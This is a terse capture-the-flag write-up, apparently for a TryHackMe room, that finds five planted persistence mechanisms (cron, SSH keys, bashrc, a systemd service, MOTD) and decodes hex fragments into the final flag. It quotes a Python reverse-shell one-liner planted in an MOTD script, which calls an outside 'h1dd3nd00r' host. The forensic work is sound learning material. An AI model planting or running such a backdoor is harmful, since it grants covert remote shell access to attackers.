
- so there are five flags combining them will give flag
Time is on my side, always running like clockwork.
- sounds like cronjob
- crontab -l as root


1
| find / -name "a.sh" -type f 2>/dev/null
|
- found nothing
- maybe initial few number are hex
1
| echo "54484d7b7930" | xxd -r -p
|
A secret handshake gets me in every time.
- this looks like ssh
- find .ssh folder
1
| find / -name ".ssh" -type d 2>/dev/null
|
1
2
3
| /root/.ssh
/home/zeroday/.ssh
/home/ubuntu/.ssh
|
- check all
/home/zeroday/.ssh/.authorized_keys
1
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGigCKLtSqMcOfttFdDnNXfwKd5nH8Ws3hFNRmBDWxfvuaaC6h9zWishJVfr0xsyV0SSkMGPCuPLRU41ckvnGbA= 326e6420706172743a20755f6730745f.local
|
326e6420706172743a20755f6730745f- this looks hex
1
| echo "326e6420706172743a20755f6730745f" | xxd -r -p
|
Whenever you set the stage, I make my entrance.
- this was bit hard to spot
- it is about bashrc which loads our shell config.
- since we are specter according to q check that users bashrc

1
| echo "4d334a6b58334130636e513649444e324d334a3564416f3d" | xxd -r -p | base64 -d
|
i run with the big dogs, booting up alongside the system.
- nothing interesting
- maybe service
- To see all services, including inactive ones
1
2
| sudo su
systemctl list-unit-files --type=service
|

1
2
| systemctl cat cipher.service
cat /lib/systemd/system/cipher.service
|


I love welcome messages.
- message of the day (MOTD)
- potential locations
1
2
3
| /etc/motd
/etc/profile.d/motd.sh
/etc/update-motd.d/
|
- in
cat /etc/update-motd.d/00-header
1
2
3
| python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("4c61737420706172743a206430776e7d0.h1dd3nd00r.n3t",)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' 2>/dev/null
printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"
|
1
| echo "4c61737420706172743a206430776e7d0" | xxd -r -p
|
Last part: d0wn}
final flag
THM{y0u_g0t_3v3ryt_h1ng_D0wn}